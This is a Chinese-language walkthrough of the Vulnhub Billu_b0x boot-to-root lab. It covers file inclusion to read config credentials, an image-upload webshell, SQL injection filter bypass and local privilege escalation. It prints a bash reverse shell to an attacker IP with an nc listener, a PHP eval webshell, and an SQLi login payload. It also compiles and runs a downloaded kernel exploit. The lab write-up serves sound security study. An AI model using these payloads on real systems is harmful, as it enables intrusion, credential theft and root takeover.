Vulnhub-billu b0x
靶机信息
下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip
靶机说明
虚拟机难度中等,使用ubuntu(32位),其他软件包有:PHP、apache、MySQL
目标
Boot to root:从Web应用程序进入虚拟机,并获得root权限。
运行环境
靶机:网络连接方式设置为net,靶机自动获取IP。
攻击机:Windows10攻击机,kali攻击机,主要用Windows攻击机完成实验。
信息收集
目标发现
启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描vm8网卡的NAT网段C段IP,命令:nmap -sP 192.168.64.1/24
成功得到靶机ip:192.168.160.187
端口和服务识别
nmap扫描
#扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件
nmap -p1-65535 -A 192.168.64.161 -oN billu.txt
扫描发现开启了22(SSH OpenSSH 5.9p1)和80端口( HTTP Apache httpd 2.2.22)
访问80端口:发现用户名密码输入框,并提示Show me your SQLI skills
,好家伙这是要我sql注入呀,我直接一波操作猛如虎,干了半个小时,手工加sqlmap跑了半天,没有结果,先放着。
目录扫描
dirb
御剑目录扫描
好家伙,目录很多,挨个访问
手工探测
in.php,这是一个phpinfo的界面,发现敏感信息:网站绝对路径/var/www
allow_url_fopen = on
c.php,返回为空白
test.php,这里报错要我指定file,再结合之前phpinfo的敏感信息,说明这里有可能存在文件包含漏洞
add.php,一个文件上传界面,这里F12 看源码,发现只有前端,无后端交互源码,说明这里是一个摆设,无用。
/phpmy,这里是个phpmyadmin的界面,尝试弱口令,失败,先放着。
渗透阶段
思路一:文件包含查看配置文件,获取root密码
通过前面的信息收集可知test.php页面可能存在文件包含漏洞,首先通过get方式输入参数,并没有什么反应。尝试POST方式,成功读取/etc/passwd。
但是无法读取/etc/shadow
尝试读取其他的目录文件,并审计源码
上面目录扫描发现phpmyadmin,以及phpinfo中发现的网站绝对路径,这里尝试读取phpmyadmin的默认配置文件config.inc.php
file=/var/www/phpmy/config.inc.php,成功读取,发现root用户密码为roottoor
用上面的密码,ssh远程连接,成功,就这????
思路二:文件包含+文件上传获取shell。
1、读取c.php,发现mysql用户密码:b0bill:ux_billu
到先前发现的/phpmy目录进行登录,登陆成功并发现auth表中的一个用户密码biLLu:hEx_it,到首页进行登录
2、登录成功后,点击show user,这是查看账号页面,F12查看现有图片路径
并成功访问
点击add user进入添加账号界面,这是一个文件上传点,简单尝试发现这里上传的文件在上面的路径里
尝试上传一句话木马,发现为白名单过滤
尝试上传图片马,然后用文件包含去解析,因为这里是POST 方式,所以不能用中国蚁剑直接连,这里只能写一个命令马,然后用burp以POST方式执行。(命令马:直接将一句话用文本编辑器写在图片的中间或者后面)
3、在test.php,页面进行解析,发现解析失败,查看源码发现这里是下载,而不能成功解析。
通过test.php的文件包含漏洞,进一步查看各个页面源码寻找突破点,在/panel.php发现在continue那也存在文件包含漏洞(功夫不负有心人)。
根据上面发现的路径,的出上传的命令马的路径为/uploaded_images/1.jpg,利用上面的文件包含漏洞进行解析并成功执行命令
POST请求url中加入执行命令的参数:POST /panel.php?cmd=ls
POST的body中包含1.jpg图片马:load=/uploaded_images/1.jpg&continue=continue
用bash反弹shellecho "bash -i >& /dev/tcp/192.168.160.129/4444 0>&1" | bash
需要将命令url编码然后发送
编码完成后,在开启nc监听nc -lvnp 4444
,然后再POST发送命令
nc接收反弹shell成功
找一个可写权限目录,写入一句话木马,以便蚁剑连接,方便提权exp文件的上传
文件上传目录uploaded_images
为写权限目录,进入该目录,写一个一句话木马:echo '<?php eval()$_POST[aaa]);?>' >> 1.php
蚁剑连接成功。
下载Ubuntu著名的本地提权漏洞exp:https://www.exploit-db.com/exploits/37292/
下载完后用蚁剑上传至目标机可写目录uploaded_images
,
上传成功
#赋予执行权限
chmod 777 37292.c
#编译exp
gcc 37292.c -o exp
#执行exp,提权至root
./exp
提权成功
思路三:构造注入
回到之前信息收集中的注入页面,也就是首页index.php,利用发现的文件包含漏洞,查看源码中过滤sql的方法,针对性构造sql注入
1、审计index.php源码,发现以下过滤规则:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。urldecode的作用是将输入解码。
2、 常见的利用注入登录的payload是' or 1=1 -- 修改这个在最后增加\',str_replace会将这个\'替换为空。
3、注入成功,payload是' or 1=1 -- \'
;后面获取shell方法和上面实验相同。